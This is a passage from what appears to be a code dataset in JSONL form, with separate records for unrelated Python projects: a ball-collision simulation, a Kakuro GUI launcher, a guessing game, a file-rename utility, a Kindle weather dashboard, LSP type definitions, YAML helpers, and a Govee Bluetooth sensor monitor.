vcollision(self.pos_arr[p], self.pos_arr[q], self.v[p], self.v[q])\n #print('ball hit')\n #'''\n \n for part in self.parts: # detect collision between wall & balls\n wall = part.wall_list\n for i in range(len(wall)-1):\n w = wall[i]-wall[i+1]\n f = vector(-w[1],w[0]) #\u6cd5\u5411\u91cf\n\n if checkhit(wall[i],wall[i+1],self.pos_arr[j],r) and dot([self.v[j][0]-part.v[0],self.v[j][1]-part.v[1],0], f) <= 0:\n \n dp = self.ball_mass*(self.v[j] - reflect(w, self.v[j], part.v) )\n part.stored_momentum += dp\n self.v[j] = reflect(w, self.v[j], part.v)\n \n \n for part in self.parts: # Cyka blyat....\n part.update_pos(dt) # update wall position\n \n\n def add_ball(self,pos,vel):\n '''\n pos,v should be list with 3 variables\n '''\n self.ball.append(sphere(radius=r,make_trail=False,color=color.yellow)) #!vis\n self.pos_arr = append(self.pos_arr,[pos], axis = 0)\n self.v = append(self.v,[vel], axis = 0)\n self.N += 1\n #print('NOW N = %d'%self.N)\n \n\n def del_ball(self,index):\n #print('del ball %d' % index)\n \n self.ball[index].visible = False #!vis\n del self.ball[index] #!vis\n self.pos_arr = delete(self.pos_arr, index, 0)\n self.v = delete(self.v, index, 0)\n self.N -= 1\n\n def get_force(self, index, passed_time):\n return self.parts[index].get_force(passed_time)\n\n#wall1 = [[3,3],[3,-10],[-3,-10],[-3,3]]\n#wall2 = [[-3,3],[3,3]] \n#wall1 = [[0,3],[22,3],[22,-3],[0,-3]] #pipe\n#square_s = [[17,1],[15,1],[15,-1],[17,-1],[17,1]] #square\nbig_square = [[5,5],[5,-5],[-5,-5],[-5,5],[5,5]]\n#wall = [[780,0],[1150,-140],[1180,-130],[1170,-90],[970,0],[780,0]]\n'''\nwall = [[0,60],[300,60],[850,240],[900,250],[940,220],[950,170],[940,130],[900,100],[730,60],[1170,40],\n [1400,60],\n [1400,0],[1070,0],[1200,-60],[1230,-90],[1240,-130],[1230,-170],[1180,-190],[1130,-180],[610,0],[300,20],\n [0,0],[0,60]]\n#'''\n\n#wall1,wall2 = vectorfy(wall1), vectorfy(wall2)\nflow = Container(parts = [Wall(big_square, v = vector(1,0) )], limit_udlr = (5,-5,-5,5)) #!vis \n\nu_limit = flow.limit_udlr[0]\nd_limit = flow.limit_udlr[1]\nl_limit = flow.limit_udlr[2]\nr_limit = flow.limit_udlr[3]\n\nget_force_dts = 50\nwhile True:\n rate(100)\n t += dt\n dts += 1\n \n #average vel\n '''\n tmp, tmp2 = 0, 0\n avg, avg2 = 0, 0\n n1, n2= 0 ,0\n for i in range(len(flow.v)):\n ab = abs(vector(flow.v[i]))**2\n tmp += ab\n n1 += 1\n if n1 != 0:\n avg = tmp/n1\n \n for i in range(len(flow.v)):\n if flow.v[i][0] > 15:\n ab = abs(vector(flow.v[i]))**2\n tmp2 += ab\n n2 += 1\n if n2 != 0:\n avg2 = tmp/n2\n\n if n1 != 0:\n f1.plot(pos = (t,avg))\n if n2 != 0:\n f2.plot(pos = (t,avg2))\n '''\n\n flow.OnUpdate() \n \n if dts % 10 == 0 :\n pass\n #print('add ball')\n #flow.add_ball(pos = [0,random.random(size = None)*6 - 3,0],vel = [random.random(size = None)*10 +30,random.random(size = None)*10 -5,0])\n #flow.add_ball(pos = [0,random.random(size = None)*6 - 3,0],vel = [50,0,0])\n\n if dts % get_force_dts == 0:\n f = abs(flow.get_force(0,get_force_dts*dt))\n f1.plot(pos = (t,f))\n\n m = -1 ##trying to delete a ball without problem\n while True:\n m += 1\n if m == flow.N:\n break\n \n if flow.pos_arr[m][0] > r_limit or flow.pos_arr[m][0] < l_limit or flow.pos_arr[m][1] > u_limit or flow.pos_arr[m][1] < d_limit :\n #print('prev N = %d' % N)\n flow.del_ball(m) #delete ball out of range\n #print('after N = %d' % N)\n m -= 1\n \n\n f3.plot(pos=(t,flow.N))\n \n", "source": "ChenKB91/BouncyBall", "license": "MIT"} {"text": "# Fonction Principale du programme\n\nimport sys\n\nfrom Back_End.Logic.Heat_Mapping_Logic import *\nfrom Back_End.Logic.Possible_Values_Mapping_Logic import *\nfrom Back_End.Logic.Saving_Logic import *\n\n\nfrom Front_End.Windows import Creator_Window, Main_Window, Solver_Window\nfrom Front_End.Widgets import Content_Button_Widget, Divided_Label_Widget, Morphing_Label\n\n\nfrom PyQt5 import QtWidgets\nfrom PyQt5 import QtCore\nfrom PyQt5 import QtGui\n\n\n# Instantiation du Front_End\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n datahandler = Datahandler()\n MainWindow = Main_Window.MainWindow(datahandler)\n\n sys.exit(app.exec_())\n", "source": "Myrani/IA_Kakuro", "license": "Unlicense"} {"text": "# Desafio Python 28:\n# Advinhe qual n\u00famero, de 1 a 5, o computador pensou.\n# D\u00e1 pra fazer com um contador e ver quantas vezes o usu\u00e1rio tentou,\n# Mas ainda n\u00e3o cheguei nessa fun\u00e7\u00e3o no python, usar o while\nimport random\nnum = random.randrange(1, 6)\nadvinha = int(input(\"Advinhe que n\u00famero eu estou pensando, \u00e9 entre 1 e 5: \"))\nif num == advinha:\n print(\"Acertou!!!\")\nelse:\n print(\"Tente Novamente, sua cabe\u00e7a \u00e9 t\u00e3o grande que parece a do MegaMente!!!\")\n print(f\"Eu pensei no n\u00famero {num} e n\u00e3o no {advinha}, seu bob\u00e3o!!!\")\n", "source": "erickeloi/ExerciciosTreino", "license": "MIT"} {"text": "#! /usr/bin/env python3\n\nimport argparse\nimport os\nimport sys\n\n\ndef get_arguments(args):\n parser = argparse.ArgumentParser(\n description=\"Expand appname identifier into the application name\"\n )\n\n parser.add_argument(\n \"-p\",\n \"--path\",\n default=os.getcwd(),\n help=\"The path to work with. Current working directory by default\",\n )\n\n parser.add_argument(\n \"-i\", \"--identifier\", required=True, help=\"The identifier to substitute.\"\n )\n\n parser.add_argument(\n \"-s\",\n \"--substitute\",\n required=True,\n help=\"The value to replace the identifier with.\",\n )\n\n parser.add_argument(\n \"--dry-run\",\n default=False,\n action=\"store_true\",\n help=\"Print changes that would be made without making them\",\n )\n\n return parser.parse_args(args)\n\n\ndef replace_identifier(path, identifier, substitute, dry_run=False):\n files = os.listdir(path)\n replace_pairs = []\n\n for file in files:\n new_file = file.replace(identifier, substitute)\n old_path = os.path.join(path, file)\n new_path = os.path.join(path, new_file)\n if not dry_run:\n os.replace(old_path, new_path)\n replace_pairs.append((file, new_file))\n\n return replace_pairs\n\n\ndef main(args):\n args = get_arguments(args)\n output = replace_identifier(\n args.path, args.identifier, args.substitute, args.dry_run\n )\n\n for old_file, new_file in output:\n print(f'\"{old_file}\" -> \"{new_file}\"')\n\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv[1:]))\n", "source": "joseph62/Scripts", "license": "MIT"} {"text": "import time\nfrom datetime import date\nimport datetime\nfrom xml.dom import minidom\nimport kindle_graphics\nimport kindle_dates \nimport kindle_weather\nimport kindle_traffic\nimport png\nimport os\nimport email_update\n\nemailMessage = \"Nothing\"\n\nprint \" \"\nprint \"----------------------\"\nprint \" Kindle Main\"\nprint \"----------------------\"\ntry:\n \n eventsList = kindle_dates.GetEvents()\n\n ###########################\n # EDIT your location here #\n ########################### \n [hour, day1Date, forecast] = kindle_weather.FetchWeatherForecast(\"httpRequest\", \"UK/London.json\")\n \n \n day2Date = day1Date+datetime.timedelta(1)\n day3Date = day1Date+datetime.timedelta(2)\n\n print(day1Date)\n print(day2Date)\n print(day3Date)\n\n if kindle_dates.IsWorkingDay(eventsList):\n day1 = 'day1'\n day1Dawn = 'day1Dawn'\n day1Morn = 'day1Morn'\n day1Even = 'day1Even'\n day1Nigh = 'day1Nigh'\n \n #else:\n\n day1Low = forecast['day1'].minTemp # Working days need to know the weather during travel to and from work only\n day1High = forecast['day1'].maxTemp # so the weather report has gaps in it for when you're at work\n nightLow = forecast['day1Nigh'].minTemp\n nightHigh = forecast['day1Nigh'].maxTemp\n day2Low = forecast['day2'].minTemp\n day2High = forecast['day2'].maxTemp\n day3Low = forecast['day3'].minTemp\n day3High = forecast['day3'].maxTemp\n\n #hour = forecast['day1'].hour\n print \"hour =\", hour\n\n day1Name = day1Date.strftime(\"%a\")\n day2Name = day2Date.strftime(\"%A\")\n day3Name = day3Date.strftime(\"%A\")\n\n print(\"day1Name\", day1Name)\n print(\"day2Name\", day2Name)\n print(\"day3Name\", day3Name)\n\n def TemperatureToString(temperature):\n if (temperature != -99) & (temperature != 99):\n return str(temperature) + '*'\n else:\n return \" \"\n\n # Morning: time from 05:00 to 11:00 - show M&E\n # Evening: time from 12:00 to 20:00 - show E&N\n # Night: time from 21:00 to 04:00 - show N&M\n\n if (hour>=5) & (hour <=10):\n # Morning display \n print(\"Morning display\") \n day1LeftLabel = \"Morning\"\n day1RightLabel = \"Evening\"\n day2Label = day2Name\n day3Label = day3Name\n \n day1MornIcon = forecast['day1Morn'].worstCondition\n day1EvenIcon = forecast['day1Even'].worstCondition\n day1NighIcon = forecast['day1Nigh'].worstCondition\n day2MornIcon = forecast['day2Morn'].worstCondition\n day2EvenIcon = forecast['day2Even'].worstCondition\n day3MornIcon = forecast['day3Morn'].worstCondition\n day3EvenIcon = forecast['day3Even'].worstCondition\n\n day1LeftTemp = TemperatureToString(day1Low)\n day1RightTemp = TemperatureToString(day1High)\n day2LeftTemp = TemperatureToString(day2Low)\n day2RightTemp = TemperatureToString(day2High)\n day3LeftTemp = TemperatureToString(day3Low)\n day3RightTemp = TemperatureToString(day3High)\n \n if (day1Low != 99):\n day1LeftTemp = str(day1Low) + '*'\n if (day1High != -99):\n day1RightTemp = str(day1High) + '*'\n\n windchill = str(forecast['day1'].feelsLike)\n windSpeed = str(forecast['day1'].windSpeed)\n uvi = str(forecast['day1'].uvi)\n humidity = str(forecast['day1'].humidity)\n\n \n if (hour>=11) & (hour <=20):\n # Evening display \n print(\"Evening display\")\n day1LeftLabel = \"Evening\"\n day1RightLabel = \"Tonight\"\n day2Label = day2Name\n day3Label = day3Name\n\n day1MornIcon = forecast['day1Even'].worstCondition\n day1EvenIcon = forecast['day1Nigh'].worstCondition\n if day1EvenIcon <=6:\n day1EvenIcon += 25\n \n day2MornIcon = forecast['day2Morn'].worstCondition\n day2EvenIcon = forecast['day2Even'].worstCondition\n day3MornIcon = forecast['day3Morn'].worstCondition\n day3EvenIcon = forecast['day3Even'].worstCondition\n\n day1LeftTemp = TemperatureToString(day1Low)\n day1RightTemp = TemperatureToString(day1High)\n day2LeftTemp = TemperatureToString(day2Low)\n day2RightTemp = TemperatureToString(day2High)\n day3LeftTemp = TemperatureToString(day3Low)\n day3RightTemp = TemperatureToString(day3High)\n\n windchill = str(forecast['day1'].feelsLike)\n windSpeed = str(forecast['day1'].windSpeed)\n uvi = str(forecast['day1'].uvi)\n humidity = str(forecast['day1'].humidity)\n\n \n if (hour>=21):\n # Night display \n print(\"Night display (before midnight)\")\n day1LeftLabel = \"Tonight\"\n day1RightLabel = \"Morning\"\n day2Label = day2Name\n day3Label = day3Name\n\n d1 = forecast['day1Nigh'].worstCondition\n if d1 <= 5:\n d1 += 25\n day1MornIcon = d1\n day1EvenIcon = forecast['day2Morn'].worstCondition\n day2MornIcon = forecast['day2Morn'].worstCondition\n day2EvenIcon = forecast['day2Even'].worstCondition\n day3MornIcon = forecast['day3Morn'].worstCondition\n day3EvenIcon = forecast['day3Even'].worstCondition\n\n day1LeftTemp = TemperatureToString(nightLow)\n day1RightTemp = TemperatureToString(nightHigh)\n day2LeftTemp = TemperatureToString(day2Low)\n day2RightTemp = TemperatureToString(day2High)\n day3LeftTemp = TemperatureToString(day3Low)\n day3RightTemp = TemperatureToString(day3High)\n\n windchill = str(forecast['day1Nigh'].feelsLike)\n windSpeed = str(forecast['day1Nigh'].windSpeed)\n uvi = str(forecast['day1Nigh'].uvi)\n humidity = str(forecast['day1Nigh'].humidity)\n print \"Done\"\n \n if (hour <=4):\n # Night display \n print(\"Night display (after midnight)\")\n \n day1LeftLabel = \"Tonight\"\n day1MornIcon = forecast['day1Dawn'].worstCondition\n if day1MornIcon <=6:\n day1MornIcon += 25\n \n \n \n day1RightLabel = \"Morning\"\n day1EvenIcon = forecast['day1Morn'].worstCondition\n \n day3Date = day2Date\n day2Date = day1Date\n day1Date = day1Date - datetime.timedelta(1)\n \n day1Name = day1Date.strftime(\"%a\")\n day2Name = day2Date.strftime(\"%A\")\n day3Name = day3Date.strftime(\"%A\")\n\n print \"New dates:\", day1Date, day2Date, day3Date\n print \"New names:\", day1Name, day2Name, day3Name\n\n day2Label = day2Name\n day3Label = day3Name\n \n day2MornIcon = forecast['day1Morn'].worstCondition\n day2EvenIcon = forecast['day1Even'].worstCondition\n day3MornIcon = forecast['day2Morn'].worstCondition\n day3EvenIcon = forecast['day2Even'].worstCondition\n\n day1LeftTemp = TemperatureToString(nightLow)\n day1RightTemp = TemperatureToString(nightHigh)\n day2LeftTemp = TemperatureToString(day1Low)\n day2RightTemp = TemperatureToString(day1High)\n day3LeftTemp = TemperatureToString(day2Low)\n day3RightTemp = TemperatureToString(day2High)\n\n windchill = str(forecast['day1Dawn'].feelsLike)\n windSpeed = str(forecast['day1Dawn'].windSpeed)\n uvi = str(forecast['day1Dawn'].uvi)\n humidity = str(forecast['day1Dawn'].humidity) \n\n \n def RenderWeatherDay1():\n \tprint \"Icons: \", day1MornIcon, day1EvenIcon\n try:\n kindle_graphics.weatherooLarge.DrawCentred(day1MornIcon-1, 100, 60)\n kindle_graphics.weatherooLarge.DrawCentred(day1EvenIcon-1, 290, 60)\n \n kindle_graphics.trebuchet_37px.PrintCentred(\"Low\", 75, 340)\n kindle_graphics.trebuchet_37px.PrintCentred(\"High\", 315, 340)\n \n # Morning, Evening\n kindle_graphics.trebuchet_37px.PrintCentred(day1LeftLabel, 100, 230)\n kindle_graphics.trebuchet_37px.PrintCentred(day1RightLabel, 290, 230)\n\n # Temperature big numbers\n kindle_graphics.trebuchet_37px.PrintCentred( day1LeftTemp, 75, 300) \n kindle_graphics.trebuchet_37px.PrintCentred( day1RightTemp, 315, 300)\n kindle_graphics.numbers_103px.PrintCentred( windchill+'*', 195, 290) \n \n # Main date string, Low High words\n #kindle_graphics.trebuchet_37px.PrintCentred(kindle_dates.GetTodaysDateString(), 210, 20) # Fixme: use day1date\n kindle_graphics.trebuchet_37px.PrintCentred(kindle_dates.MakeDateString(day1Date), 210, 20) # Fixme: use day1date\n \n except:\n print \"Exception in RenderWeatherDay1()\"\n \n def RenderExtrasDay1():\n try:\n kindle_graphics.trebuchet_28px.Print(\"WindChill: \", 25, 470)\n kindle_graphics.trebuchet_28px.Print(\"WindSpeed: \" ,25, 500)\n kindle_graphics.trebuchet_28px.Print(\"UV Index: \", 25, 530)\n kindle_graphics.trebuchet_28px.Print(\"Humidity: \" , 25, 560)\n\n kindle_graphics.trebuchet_28px.PrintRightJus(windchill, 200, 470)\n kindle_graphics.trebuchet_28px.PrintRightJus(windSpeed, 200, 500)\n kindle_graphics.trebuchet_28px.PrintRightJus(uvi, 200, 530)\n kindle_graphics.trebuchet_28px.PrintRightJus(humidity, 200, 560)\n\n kindle_graphics.trebuchet_28px.Print(\"*\", 202, 470)\n kindle_graphics.trebuchet_17px.Print(\"kph\", 203, 508)\n kindle_graphics.trebuchet_28px.Print(\"%\", 202, 560)\n\n windSpeedValue = int(windSpeed)\n if windSpeedValue >= 43:\n windsockIcon = 0\n elif windSpeedValue >= 25:\n windsockIcon = 1\n elif windSpeedValue >= 10:\n windsockIcon = 2\n else:\n windsockIcon = 3\n\n except:\n print \"Exception in RenderExtrasDay1()\"\n\n def RenderExtrasDay1_v2(pollenLevel):\n print \"RenderExtrasDay1_v2(\", pollenLevel, \")\"\n try:\n uvi = str(forecast['next4hours'].uvi)\n pop = str(forecast['next4hours'].pop)\n hum = str(forecast['next4hours'].humidity)\n sky = str(forecast['next4hours'].sky)\n \n pol = pollenLevel\n #if pollenLevel == \"None\":\n # pol = '-'\n #if pollenLevel == \"Low\":\n # pol = 'L'\n #if pollenLevel == \"Moderate\":\n # pol = 'M'\n #if pollenLevel == \"High\":\n # pol = 'H'\n #if pollenLevel == \"Very High\":\n # pol = 'VH'\n \n print \"Pollen level: \", pollenLevel, \"--\", pol\n \n extrasList = []\n extrasList.append([0, uvi, ' '])\n extrasList.append([1, hum, '%'])\n extrasList.append([3, sky, '%'])\n extrasList.append([2, pop, '%'])\n extrasList.append([4, pol, ' '])\n \n y = 410\n for extra in extrasList:\n icon = extra[0]\n number = extra[1]\n units = extra[2]\n \n kindle_graphics.extrasIcons.Draw( icon, 35, y)\n kindle_graphics.trebuchet_37px.PrintRightJus(number, 135, y)\n kindle_graphics.trebuchet_37px.Print( units, 138, y)\n \n y += 37\n \n windSpeedValue = int(windSpeed)\n if windSpeedValue >= 43:\n windsockIcon = 0\n elif windSpeedValue >= 25:\n windsockIcon = 1\n elif windSpeedValue >= 10:\n windsockIcon = 2\n else:\n windsockIcon = 3\n\n print \" done RenderExtrasDay1_v2\"\n\n except:\n print \"Exception in RenderExtrasDay1_v2()\"\n\n\n def RenderWeatherDay2():\n try:\n kindle_graphics.trebuchet_37px.PrintCentred(day2Label, 505, 20)\n # Temperature numbers\n kindle_graphics.trebuchet_37px.Print(day2LeftTemp, 460, 150)\n kindle_graphics.trebuchet_37px.Print(day2RightTemp, 530, 150)\n\n kindle_graphics.weatherooSmall.DrawCentred(day2MornIcon-1, 460, 60)\n kindle_graphics.weatherooSmall.DrawCentred(day2EvenIcon-1, 550, 60)\n except:\n print \"Exception in RenderWeatherDay2()\"\n\n \n def RenderWeatherDay3():\n try:\n kindle_graphics.trebuchet_37px.PrintCentred(day3Label, 695, 20)\n\n # Temperature numbers\n kindle_graphics.trebuchet_37px.Print(day3LeftTemp, 650, 150)\n kindle_graphics.trebuchet_37px.Print(day3RightTemp, 720, 150) \n\n kindle_graphics.weatherooSmall.DrawCentred(day3MornIcon-1, 650, 60)\n kindle_graphics.weatherooSmall.DrawCentred(day3EvenIcon-1, 740, 60)\n except:\n print \"Exception in RenderWeatherDay3()\"\n\n \n def RenderTrafficInfo(startY, trafficInfo):\n print \"RenderTrafficInfo()\"\n try:\n y = startY + 20\n \n for traffic in trafficInfo:\n oldY = y;\n print traffic\n icon = traffic[0]\n location = traffic[1]\n condition = traffic[2]\n if icon == 'Closures':\n kindle_graphics.trafficIcons.Draw(0, 400, y)\n if icon == 'Roadworks':\n kindle_graphics.trafficIcons.Draw(1, 400, y)\n if icon == 'Incidents':\n kindle_graphics.trafficIcons.Draw(2, 400, y)\n if icon == 'Delays':\n kindle_graphics.trafficIcons.Draw(3, 400, y)\n if icon == 'NoProblems':\n kindle_graphics.trafficIcons.Draw(4, 400, y)\n \n y = kindle_graphics.trebuchet_17px_Bold.PrintBlock(location, 470, y, 325)\n y = kindle_graphics.trebuchet_17px.PrintBlock(condition, 470, y, 325)\n y += 20\n if y-oldY < 60:\n y += 60-(y-oldY)\n\n if y >= 540:\n break\n \n print trafficInfo\n return y\n \n except:\n print \"Exception in RenderTrafficInfo()\"\n\n \n def RenderTrainInfo(startY, trainInfo):\n print \"RenderTrainInfo()\"\n try:\n y = startY+20\n #kindle_graphics.trebuchet_37px.Print(\"Rail\", 400, y)\n #y += 50\n print \"------\"\n print trainInfo\n print \"------\"\n #trainInfo = kindle_traffic.GetTrainEmail()\n #trainInfo = [ [\"Delays\", \"Stratford Station Closed\", \"Station closed today for some reason\"] ]\n #trainInfo = [ [\"NoProblems\", \"Trains good\", \"There is no disruption reported at this time affecting services between Stratford and Ingatestone.\"] ]\n \n for train in trainInfo:\n oldY = y;\n icon = train[0]\n location = train[1]\n condition = train[2]\n \n print icon\n print location\n print condition\n \n if icon == 'Cancelled':\n kindle_graphics.trafficIcons.Draw(6, 400, y)\n if icon == 'CancelledOrDelayed':\n kindle_graphics.trafficIcons.Draw(6, 400, y)\n if icon == 'Delayed':\n kindle_graphics.trafficIcons.Draw(5, 400, y)\n if icon == 'NoProblems':\n kindle_graphics.trafficIcons.Draw(4, 400, y)\n\n y = kindle_graphics.trebuchet_17px_Bold.PrintBlock(location, 470, y, 325)\n y = kindle_graphics.trebuchet_17px.PrintBlock(condition, 470, y, 325)\n y += 20\n if y-oldY < 60:\n y += 60-(y-oldY)\n\n return y\n \n except:\n print \"Exception in RenderTrafficInfo()\"\n return y\n\n \n def RenderEvents(startY, whichDays):\n print \"RenderEvents(startY, whichDays)\"\n print eventsList\n numLines = 0\n \n try:\n y = startY\n for event in eventsList:\n \n if whichDays == \"today\":\n if event.find(whichDays) == -1:\n #print \"Not Today\"\n return y\n \n if numLines >= 3:\n #print \"numLines >= 3\"\n return y\n \n #print numLines, y, event\n kindle_graphics.trebuchet_17px.Print(event[0].upper() + event[1:], 410, y)\n numLines += 1\n y += 22\n \n if numLines >= 5:\n #print \"numLines >= 5\"\n return y\n \n except:\n print \"Exception in RenderEvents()\"\n return y\n \n def RenderWeekdayMorning():\n try:\n print \"RenderWeekdayMorning()\"\n RenderWeatherDay1()\n \n trafficInfo = kindle_traffic.GetEmails(\"Traffic Trains Pollen\")\n print \"\\n---------\"\n print trafficInfo\n print \"---------\\n\"\n\n y = RenderEvents(4, \"today\")\n \n y = RenderTrainInfo(y, trafficInfo[1])\n RenderTrafficInfo(y, trafficInfo[0])\n RenderExtrasDay1_v2(trafficInfo[2])\n kindle_graphics.DrawWindCompass(290, 485, forecast['next4hours'].windInfo)\n except:\n print \"Exception in RenderWeekdayMorning()\"\n\n def RenderWeekdayOther():\n #try:\n print \"RenderWeekdayOther()\"\n RenderWeatherDay1()\n print \"RenderWeatherDay2()\"\n RenderWeatherDay2()\n print \"RenderWeatherDay3()\"\n RenderWeatherDay3()\n print 'trafficInfo = kindle_traffic.GetEmails(\"Pollen\")'\n try:\n trafficInfo = kindle_traffic.GetEmails(\"Pollen\")\n except:\n print \"Exception trapped\"\n \n print \"RenderExtrasDay1_v2(trafficInfo[2])\"\n RenderExtrasDay1_v2(trafficInfo[2])\n print \"kindle_graphics.ReadRainRadar()\"\n kindle_graphics.ReadRainRadar()\n print \"kindle_graphics.DrawWindCompass(300, 500, forecast['next4hours'].windInfo)\"\n kindle_graphics.DrawWindCompass(290,485, forecast['next4hours'].windInfo)\n print \"RenderEvents()\"\n RenderEvents(196, \"\")\n #except:\n # print \"Exception in RenderWeekdayOther()\"\n \n def RenderWeekend():\n print \"RenderWeekend()\"\n pass\n\n #RenderWeekdayMorning()\n if ((hour == 8) | (hour == 9) | (hour == 10)) & kindle_dates.IsWorkingDay(eventsList):\n RenderWeekdayMorning()\n else:\n RenderWeekdayOther()\n \n updateMessage = str(datetime.datetime.today())[0:16]\nexcept:\n updateMessage = \"Update Failed \" + str(datetime.datetime.today())[11:16] + \" - \"\n\n# kindle_graphics.weatherooSmall.DrawCentred(0, 10, 10)\n \nkindle_graphics.trebuchet_11px.Print(updateMessage, 1,1)\nkindle_graphics.RenderBatteryLife(0,0,0)\nkindle_graphics.WriteImageToKindleScreen(\"weather.png\")\n#email_update.UpdateFromEmail()\n\n\n#kindle_email.send_email_attachment(\"weather.png\", emailMessage)\n\n# /etc/init.d/framework stop \n# gasgauge-info -m\n", "source": "Rocketmagnet/Kindle_HUD", "license": "MIT"} {"text": "from LSP.plugin.core.protocol import Location, Position, RangeLsp, TextDocumentIdentifier\nfrom LSP.plugin.core.typing import List, Literal, Optional, TypedDict, Union\n\n\nCallsDirection = Union[Literal['incoming'], Literal['outgoing']]\n\nCallsRequestParams = TypedDict('CallsRequestParams', {\n 'textDocument': TextDocumentIdentifier,\n 'position': Position,\n 'direction': CallsDirection\n}, total=True)\n\nDefinitionSymbol = TypedDict('DefinitionSymbol', {\n 'name': str,\n 'detail': Optional[str],\n 'kind': int,\n 'location': Location,\n 'selectionRange': RangeLsp,\n}, total=True)\n\nCall = TypedDict('Call', {\n 'location': Location,\n 'symbol': DefinitionSymbol,\n}, total=True)\n\nCallsResponse = TypedDict('CallsResponse', {\n 'symbol': Optional[DefinitionSymbol],\n 'calls': List[Call],\n}, total=True)\n\nInlayHintKind = Union[Literal['Type'], Literal['Parameter'], Literal['Enum']]\n\nInlayHint = TypedDict('InlayHint', {\n 'text': str,\n 'position': Position,\n 'kind': InlayHintKind,\n 'whitespaceBefore': bool, # optional key\n 'whitespaceAfter': bool, # optional key\n}, total=True)\n\nInlayHintRequestParams = TypedDict('CallsRequestParams', {\n 'textDocument': TextDocumentIdentifier,\n 'range': RangeLsp # optional key\n}, total=False)\n\nInlayHintResponse = TypedDict('CallsResponse', {\n 'inlayHints': List[InlayHint]\n}, total=True)\n", "source": "Bocom/LSP-typescript", "license": "MIT"} {"text": "\"\"\"Helper functions for reading and writing to YAML files.\"\"\"\n\nfrom pathlib import Path\nfrom typing import Optional, Union\n\nimport yaml\nfrom ruamel.yaml import YAML\n\n\nclass _IncreasedYamlIndent(yaml.Dumper):\n # pylint: disable=too-many-ancestors\n def increase_indent(\n self, flow: bool = False, indentless: bool = False\n ) -> None:\n return super().increase_indent(flow, False)\n\n def write_line_break(self, data: Optional[str] = None) -> None:\n \"\"\"See https://stackoverflow.com/a/44284819.\"\"\"\n super().write_line_break(data)\n if len(self.indents) == 1:\n super().write_line_break()\n\n\ndef create_prettier_round_trip_yaml() -> YAML:\n yaml_parser = YAML(typ=\"rt\")\n yaml_parser.preserve_quotes = True # type: ignore[assignment]\n yaml_parser.map_indent = 2 # type: ignore[assignment]\n yaml_parser.indent = 4\n yaml_parser.block_seq_indent = 2\n return yaml_parser\n\n\ndef write_yaml(definition: dict, output_path: Union[Path, str]) -> None:\n \"\"\"Write a `dict` to disk with standardized YAML formatting.\"\"\"\n with open(output_path, \"w\") as stream:\n yaml.dump(\n definition,\n stream,\n sort_keys=False,\n Dumper=_IncreasedYamlIndent,\n default_flow_style=False,\n )\n", "source": "ComPWA/repo-maintenance", "license": "BSD-3-Clause"} {"text": "\"\"\"Govee BLE monitor integration.\"\"\"\nfrom datetime import time, timedelta\nfrom time import sleep\nimport logging\nfrom typing import List, Optional, Dict, Set, Tuple\n\nfrom bleson import get_provider # type: ignore\nfrom bleson.core.hci.constants import EVT_LE_ADVERTISING_REPORT # type: ignore\nfrom bleson.core.types import BDAddress # type: ignore\nfrom bleson.core.hci.type_converters import hex_string\nfrom bleson.providers.linux.linux_adapter import BluetoothHCIAdapter # type: ignore\n\nfrom const import (\n CONF_DECIMALS,\n CONF_GOVEE_DEVICES,\n CONF_HCI_DEVICE,\n CONF_LOG_SPIKES,\n CONF_PERIOD,\n CONF_ROUNDING,\n CONF_TEMP_RANGE_MAX_CELSIUS,\n CONF_TEMP_RANGE_MIN_CELSIUS,\n CONF_USE_MEDIAN,\n DEFAULT_DECIMALS,\n DEFAULT_HCI_DEVICE,\n DEFAULT_LOG_SPIKES,\n DEFAULT_PERIOD,\n DEFAULT_ROUNDING,\n DEFAULT_TEMP_RANGE_MAX,\n DEFAULT_TEMP_RANGE_MIN,\n DEFAULT_USE_MEDIAN,\n DOMAIN,\n)\n\nfrom govee_advertisement import GoveeAdvertisement\nfrom ble_ht import BLE_HT_data\n\n###############################################################################\n\n# _LOGGER = logging.getLogger(__name__)\n\nclass _LOGGER:\n def debug(text):\n print(text)\n def error(text):\n print(text)\n\n###############################################################################\n\n\nclass govee_sensor:\n def __init__(self) -> None:\n \"\"\"Set up the sensor platform.\"\"\"\n _LOGGER.debug(\"Starting Govee HCI Sensor\")\n self.govee_devices: List[BLE_HT_data] = [] # Data objects of configured devices\n self.sensors_by_mac: Dict[str, List[MeasurementSensor]] = {} # HomeAssistant sensors by MAC address\n self.adapter: BluetoothHCIAdapter = None\n\n def setup_platform(self, config) -> None:\n self.config = config\n self.run()\n\n def handle_meta_event(self, hci_packet) -> None:\n \"\"\"Handle received BLE data.\"\"\"\n # If received BLE packet is of type ADVERTISING_REPORT\n if hci_packet.subevent_code == EVT_LE_ADVERTISING_REPORT:\n packet_mac = hci_packet.data[3:9]\n\n for device in self.govee_devices:\n # If received device data matches a configured govee device\n if BDAddress(device.mac) == BDAddress(packet_mac):\n # _LOGGER.debug(\n # \"Received packet data for {}: {}\".format(\n # BDAddress(device.mac), hex_string(hci_packet.data)\n # )\n # )\n # parse packet data\n ga = GoveeAdvertisement(hci_packet.data)\n\n # If mfg data information is defined, update values\n if ga.packet is not None:\n device.update(ga.temperature, ga.humidity, ga.packet)\n\n # Update RSSI and battery level\n device.rssi = ga.rssi\n device.battery = ga.battery\n\n def init_configured_devices(self) -> None:\n \"\"\"Initialize configured Govee devices.\"\"\"\n for conf_dev in self.config[CONF_GOVEE_DEVICES]:\n # Initialize BLE HT data objects\n mac: str = conf_dev[\"mac\"]\n given_name = conf_dev.get(\"name\", None)\n\n device = BLE_HT_data(mac, given_name)\n device.log_spikes = self.config[CONF_LOG_SPIKES]\n device.maximum_temperature = self.config[CONF_TEMP_RANGE_MAX_CELSIUS]\n device.minimum_temperature = self.config[CONF_TEMP_RANGE_MIN_CELSIUS]\n\n if self.config[CONF_ROUNDING]:\n device.decimal_places = self.config[CONF_DECIMALS]\n self.govee_devices.append(device)\n\n # Initialize HA sensors\n name = conf_dev.get(\"name\", mac)\n temp_sensor = MeasurementSensor(mac, name)\n hum_sensor = MeasurementSensor(mac, name)\n sensors = [temp_sensor, hum_sensor]\n self.sensors_by_mac[mac] = sensors\n\n def update_ble_devices(self, config) -> None:\n \"\"\"Discover Bluetooth LE devices.\"\"\"\n # _LOGGER.debug(\"Discovering Bluetooth LE devices\")\n use_median = config[CONF_USE_MEDIAN]\n\n for device in self.govee_devices:\n sensors = self.sensors_by_mac[device.mac]\n\n # if device.last_packet is not None:\n # _LOGGER.debug(\n # \"Last mfg data for {}: {}\".format(\n # BDAddress(device.mac), device.last_packet\n # 